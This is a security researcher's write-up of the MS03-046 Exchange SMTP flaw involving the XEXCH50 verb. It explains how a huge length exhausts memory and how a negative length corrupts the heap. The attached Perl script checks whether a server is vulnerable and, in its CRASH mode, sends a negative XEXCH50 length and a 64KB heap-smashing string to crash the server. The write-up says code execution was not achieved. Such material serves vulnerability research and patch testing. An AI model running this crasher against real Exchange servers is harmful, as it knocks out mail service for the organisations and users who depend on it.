ms03-046.pl

`  
On October 15th, Microsoft released an advisory stating that both Exchange   
5.5 and Exchange 2000 were vulnerable to a denial of service attack in   
the code which processes extended verb requests. This advisory also   
stated that Exchange 2000 was vulnerable to a buffer overrun that would   
allow a remote attacker to execute the code in the context of the SMTP   
service.  
  
The supported extended verb requests can be determined by sending the  
"EHLO" command to the SMTP service. After checking both the 5.5 and 2000  
versions of the Exchange SMTP service, it was obvious that the problem  
had to be with the XEXCH50 verb. A quick google search and I was able to  
find a quick description of this verb:  
  
>From http://smtpfilter.sourceforge.net/esmtp.html:  
  
"Allows transfer of binary data with Exchange specific recipient  
information eg plain text only versus MIME, etc). If accepted, receiver  
SMTP servers sends 354 Send Binary data and sending SMTP server sends the  
number of bytes as the first parameter on the XEXCH50 command. Once these  
bytes are sent, the receiving SMTP server sends an acknowledgment"  
  
After a few minutes of digging on google groups, I came across a sample  
TCP session showing how the XEXCH50 verb is used. This verb is used to  
transfer messages between Exchange servers using their native envelope  
format. The syntax of the verb is:  
  
XEXCH50 <X> <Y>  
  
Where X is the length of the message and Y always seems to be the number  
2 (although other small integer values work as well). The denial of  
service can be triggered by sending XEXCH50 request with a massive  
number of bytes for the first argument. This forces the remote server to  
allocate that specified amount of space and can easily be used to drain  
all available memory from a system. Once Exchange runs low on memory, it  
no longer processes incoming requests, leading to a quick and easy  
remote denial of service.  
  
If a negative value is passed as the first argument of the XEXCH50 verb  
request, the server will not allocate any memory but still accept data.  
This can be used to clobber the heap and eventually execute arbitrary  
code...  
  
It ends up that the heap area that is overwritten is used by the  
GetServiceConfigInfoSize routine and many of the subroutines that it  
calls. After testing more than two hundred combinations of data size,  
data content, pre-allocation, multiple connections, and alternate trigger  
paths, I was unable to find a set that would allow for reliable  
exploitation. Using the Snapshot/Revert functions of VMWare allowed me to  
test different data combinations in the exact same running process. Just  
changing a few bytes deep into the data resulted in a change in the  
location and type of crash. Even using the exact same data will result in  
smaller set of completely different crashes using different chunks of the  
data.  
  
So for the moment, I have no working exploit. More than likely someone  
will find the perfect set of parameters and be able to write a reliable  
exploit, but in the meantime I am going to burn my time on something more  
fulfilling :)  
  
You can find a small perl script that reproduces the crash and tests for  
the vulnerability at the URL below.  
  
http://metasploit.com/releases.html  
  
-HD  
  
  
  
  
#!/usr/bin/perl -w  
##################  
  
##  
# ms03-046.pl - hdm[at]metasploit.com  
##  
  
# minor bugfix: look for 354 Send binary data  
  
use strict;  
use IO::Socket;  
  
my $host = shift() || usage();  
my $mode = shift() || "CHECK";  
my $port = 25;  
  
  
if (uc($mode) eq "CHECK") { check() }  
if (uc($mode) eq "CRASH") { crash() }  
  
usage();  
  
  
sub check  
{  
my $s = SMTP($host, $port);  
if (! $s)  
{  
print "[*] Error establishing connection to SMTP service.\n";  
exit(0);  
}  
  
print $s "XEXCH50 2 2\r\n";  
my $res = <$s>;   
close ($s);  
  
# a patched server only allows XEXCH50 after NTLM authentication  
if ($res !~ /354 Send binary/i)  
{  
print "[*] This server has been patched or is not vulnerable.\n";  
exit(0);  
}  
  
print "[*] This system is vulnerable: $host:$port\n";  
  
exit(0);  
}  
  
  
sub crash  
{  
my $s = SMTP($host, $port);  
if (! $s)  
{  
print "[*] Error establishing connection to SMTP service.\n";  
exit(0);  
}  
  
# the negative value allows us to overwrite random heap bits  
print $s "XEXCH50 -1 2\r\n";  
my $res = <$s>;   
  
# a patched server only allows XEXCH50 after NTLM authentication  
if ($res !~ /354 Send binary/i)  
{  
print "[*] This server has been patched or is not vulnerable.\n";  
exit(0);  
}  
  
print "[*] Sending massive heap-smashing string...\n";  
print $s ("META" x 16384);  
  
# sometimes a second connection is required to trigger the crash  
$s = SMTP($host, $port);  
  
exit(0);  
}  
  
  
sub usage   
{  
print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";  
exit(0);  
  
}  
  
sub SMTP  
{  
my ($host, $port) = @_;  
my $s = IO::Socket::INET->new  
(  
PeerAddr => $host,  
PeerPort => $port,  
Proto => "tcp"  
) || return(undef);  
  
my $r = <$s>;  
return undef if !$r;  
  
if ($r !~ /Microsoft/)  
{  
chomp($r);  
print STDERR "[*] This does not look like an exchange server: $r\n";  
return(undef);  
}  
  
print $s "HELO X\r\n";  
$r = <$s>;  
return undef if !$r;   
  
print $s "MAIL FROM: DoS\r\n";  
$r = <$s>;  
return undef if !$r;  
  
print $s "RCPT TO: Administrator\r\n";  
$r = <$s>;  
return undef if !$r;  
  
return($s);   
}  
`